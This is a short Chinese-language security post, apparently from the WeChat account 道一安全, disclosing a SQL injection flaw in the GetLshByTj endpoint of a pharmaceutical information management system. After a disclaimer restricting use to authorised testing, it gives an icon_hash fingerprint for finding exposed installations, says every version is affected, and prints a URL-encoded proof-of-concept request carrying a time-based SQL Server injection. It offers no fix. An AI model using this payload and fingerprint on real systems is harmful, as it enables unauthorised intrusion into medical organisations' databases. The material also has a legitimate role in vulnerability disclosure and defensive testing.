医药信息管理系统 GetLshByTj SQL注入漏洞

道一安全（本公众号）的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

医药信息管理系统 GetLshByTj SQL注入漏洞

icon_hash="775044030"

全版本

POC：

/WebService.asmx/GetLshByTj?djcname=%31%27%3b%77%61%69%74%66%6f%72%20%64%65%6c%61%79%20%27%30%3a%30%3a%33%27%2d%2d%20%2d&redonly=true&tjstr=12

原文始发于微信公众号（道一安全）：【在野1day】医药信息管理系统 GetLshByTj SQL注入漏洞